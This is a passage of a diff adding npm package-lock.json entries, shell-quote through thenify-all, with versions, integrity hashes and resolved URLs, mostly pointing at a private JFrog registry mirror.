"sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==" + }, + "shell-quote": { + "version": "1.8.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/shell-quote/-/shell-quote-1.8.1.tgz", + "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==" + }, + "side-channel": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz", + "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", + "requires": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + } + }, + "signal-exit": { + "version": "3.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==" + }, + "sisteransi": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==" + }, + "slash": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==" + }, + "sockjs": { + "version": "0.3.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sockjs/-/sockjs-0.3.24.tgz", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "requires": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "source-list-map": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==" + }, + "source-map": { + "version": "0.7.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==" + }, + "source-map-js": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==" + }, + "source-map-loader": { + "version": "3.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map-loader/-/source-map-loader-3.0.2.tgz", + "integrity": "sha512-BokxPoLjyl3iOrgkWaakaxqnelAJSS+0V+De0kKIq6lyWrXuiPgYTGp6z3iHmqljKAaLXwZa+ctD8GccRJeVvg==", + "requires": { + "abab": "^2.0.5", + "iconv-lite": "^0.6.3", + "source-map-js": "^1.0.1" + } + }, + "source-map-support": { + "version": "0.5.21", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + } + } + }, + "sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==" + }, + "spdy": { + "version": "4.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "requires": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + } + }, + "spdy-transport": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "requires": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" + }, + "stable": { + "version": "0.1.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==" + }, + "stack-utils": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "requires": { + "escape-string-regexp": "^2.0.0" + }, + "dependencies": { + "escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==" + } + } + }, + "stackframe": { + "version": "1.3.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stackframe/-/stackframe-1.3.4.tgz", + "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==" + }, + "statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==" + }, + "stop-iteration-iterator": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stop-iteration-iterator/-/stop-iteration-iterator-1.0.0.tgz", + "integrity": "sha512-iCGQj+0l0HOdZ2AEeBADlsRC+vsnDsZsbdSiH1yNSjcfKM7fdpCMfqAL/dwF5BLiw/XhRft/Wax6zQbhq2BcjQ==", + "requires": { + "internal-slot": "^1.0.4" + } + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "requires": { + "safe-buffer": "~5.2.0" + } + }, + "string-length": { + "version": "4.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "requires": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + } + }, + "string-natural-compare": { + "version": "3.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string-natural-compare/-/string-natural-compare-3.0.1.tgz", + "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw==" + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "dependencies": { + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + } + } + }, + "string.prototype.matchall": { + "version": "4.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string.prototype.matchall/-/string.prototype.matchall-4.0.8.tgz", + "integrity": "sha512-6zOCOcJ+RJAQshcTvXPHoxoQGONa3e/Lqx90wUA+wEzX78sg5Bo+1tQo4N0pohS0erG9qtCqJDjNCQBjeWVxyg==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.3", + "regexp.prototype.flags": "^1.4.3", + "side-channel": "^1.0.4" + } + }, + "string.prototype.trim": { + "version": "1.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string.prototype.trim/-/string.prototype.trim-1.2.7.tgz", + "integrity": "sha512-p6TmeT1T3411M8Cgg9wBTMRtY2q9+PNy9EV1i2lIXUN/btt763oIfxwN3RR8VU6wHX8j/1CFy0L+YuThm6bgOg==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "string.prototype.trimend": { + "version": "1.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string.prototype.trimend/-/string.prototype.trimend-1.0.6.tgz", + "integrity": "sha512-JySq+4mrPf9EsDBEDYMOb/lM7XQLulwg5R/m1r0PXEFqrV0qHvl58sdTilSXtKOflCsK2E8jxf+GKC0T07RWwQ==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "string.prototype.trimstart": { + "version": "1.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string.prototype.trimstart/-/string.prototype.trimstart-1.0.6.tgz", + "integrity": "sha512-omqjMDaY92pbn5HOX7f9IccLA+U1tA9GvtU4JrodiXFfYB7jPzzHpRzpglLAjtUV6bB557zwClJezTqnAiYnQA==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "stringify-object": { + "version": "3.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stringify-object/-/stringify-object-3.3.0.tgz", + "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", + "requires": { + "get-own-enumerable-property-symbols": "^3.0.0", + "is-obj": "^1.0.1", + "is-regexp": "^1.0.0" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "strip-bom": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==" + }, + "strip-comments": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-comments/-/strip-comments-2.0.1.tgz", + "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==" + }, + "strip-final-newline": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==" + }, + "strip-indent": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "requires": { + "min-indent": "^1.0.0" + } + }, + "strip-json-comments": { + "version": "3.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==" + }, + "style-loader": { + "version": "3.3.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/style-loader/-/style-loader-3.3.3.tgz", + "integrity": "sha512-53BiGLXAcll9maCYtZi2RCQZKa8NQQai5C4horqKyRmHj9H7QmcUyucrH+4KW/gBQbXM2AsB0axoEcFZPlfPcw==", + "requires": {} + }, + "stylehacks": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/stylehacks/-/stylehacks-5.1.1.tgz", + "integrity": "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==", + "requires": { + "browserslist": "^4.21.4", + "postcss-selector-parser": "^6.0.4" + } + }, + "sucrase": { + "version": "3.32.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/sucrase/-/sucrase-3.32.0.tgz", + "integrity": "sha512-ydQOU34rpSyj2TGyz4D2p8rbktIOZ8QY9s+DGLvFU1i5pWJE8vkpruCjGCMHsdXwnD7JDcS+noSwM/a7zyNFDQ==", + "requires": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "glob": "7.1.6", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "ts-interface-checker": "^0.1.9" + }, + "dependencies": { + "commander": { + "version": "4.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==" + }, + "glob": { + "version": "7.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "requires": { + "has-flag": "^3.0.0" + } + }, + "supports-hyperlinks": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz", + "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==", + "requires": { + "has-flag": "^4.0.0", + "supports-color": "^7.0.0" + }, + "dependencies": { + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==" + }, + "svg-parser": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/svg-parser/-/svg-parser-2.0.4.tgz", + "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==" + }, + "svgo": { + "version": "1.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/svgo/-/svgo-1.3.2.tgz", + "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==", + "requires": { + "chalk": "^2.4.1", + "coa": "^2.0.2", + "css-select": "^2.0.0", + "css-select-base-adapter": "^0.1.1", + "css-tree": "1.0.0-alpha.37", + "csso": "^4.0.2", + "js-yaml": "^3.13.1", + "mkdirp": "~0.5.1", + "object.values": "^1.1.0", + "sax": "~1.2.4", + "stable": "^0.1.8", + "unquote": "~1.1.1", + "util.promisify": "~1.0.0" + }, + "dependencies": { + "css-select": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-select/-/css-select-2.1.0.tgz", + "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==", + "requires": { + "boolbase": "^1.0.0", + "css-what": "^3.2.1", + "domutils": "^1.7.0", + "nth-check": "^1.0.2" + } + }, + "css-what": { + "version": "3.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-what/-/css-what-3.4.2.tgz", + "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==" + }, + "dom-serializer": { + "version": "0.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/dom-serializer/-/dom-serializer-0.2.2.tgz", + "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==", + "requires": { + "domelementtype": "^2.0.1", + "entities": "^2.0.0" + } + }, + "domutils": { + "version": "1.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domutils/-/domutils-1.7.0.tgz", + "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==", + "requires": { + "dom-serializer": "0", + "domelementtype": "1" + }, + "dependencies": { + "domelementtype": { + "version": "1.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/domelementtype/-/domelementtype-1.3.1.tgz", + "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==" + } + } + }, + "nth-check": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/nth-check/-/nth-check-1.0.2.tgz", + "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==", + "requires": { + "boolbase": "~1.0.0" + } + } + } + }, + "symbol-tree": { + "version": "3.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==" + }, + "tailwindcss": { + "version": "3.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tailwindcss/-/tailwindcss-3.3.2.tgz", + "integrity": "sha512-9jPkMiIBXvPc2KywkraqsUfbfj+dHDb+JPWtSJa9MLFdrPyazI7q6WX2sUrm7R9eVR7qqv3Pas7EvQFzxKnI6w==", + "requires": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.2.12", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.18.2", + "lilconfig": "^2.1.0", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.23", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.1", + "postcss-nested": "^6.0.1", + "postcss-selector-parser": "^6.0.11", + "postcss-value-parser": "^4.2.0", + "resolve": "^1.22.2", + "sucrase": "^3.32.0" + } + }, + "tapable": { + "version": "2.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==" + }, + "temp-dir": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/temp-dir/-/temp-dir-2.0.0.tgz", + "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==" + }, + "tempy": { + "version": "0.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tempy/-/tempy-0.6.0.tgz", + "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==", + "requires": { + "is-stream": "^2.0.0", + "temp-dir": "^2.0.0", + "type-fest": "^0.16.0", + "unique-string": "^2.0.0" + }, + "dependencies": { + "type-fest": { + "version": "0.16.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-fest/-/type-fest-0.16.0.tgz", + "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==" + } + } + }, + "terminal-link": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/terminal-link/-/terminal-link-2.1.1.tgz", + "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==", + "requires": { + "ansi-escapes": "^4.2.1", + "supports-hyperlinks": "^2.0.0" + } + }, + "terser": { + "version": "5.31.6", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.31.6.tgz", + "integrity": "sha512-PQ4DAriWzKj+qgehQ7LK5bQqCFNMmlhjR2PFFLuqGCpuCAauxemVBWwWOxo3UIwWQx8+Pr61Df++r76wDmkQBg==", + "requires": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "dependencies": { + "commander": { + "version": "2.20.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + } + } + }, + "terser-webpack-plugin": { + "version": "5.3.10", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz", + "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==", + "requires": { + "@jridgewell/trace-mapping": "^0.3.20", + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.1", + "terser": "^5.26.0" + } + }, + "test-exclude": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "requires": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + } + }, + "text-table": { + "version": "0.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==" + }, + "thenify": { + "version": "3.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "requires": { + "any-promise": "^1.0.0" + } + }, + "thenify-all": { + 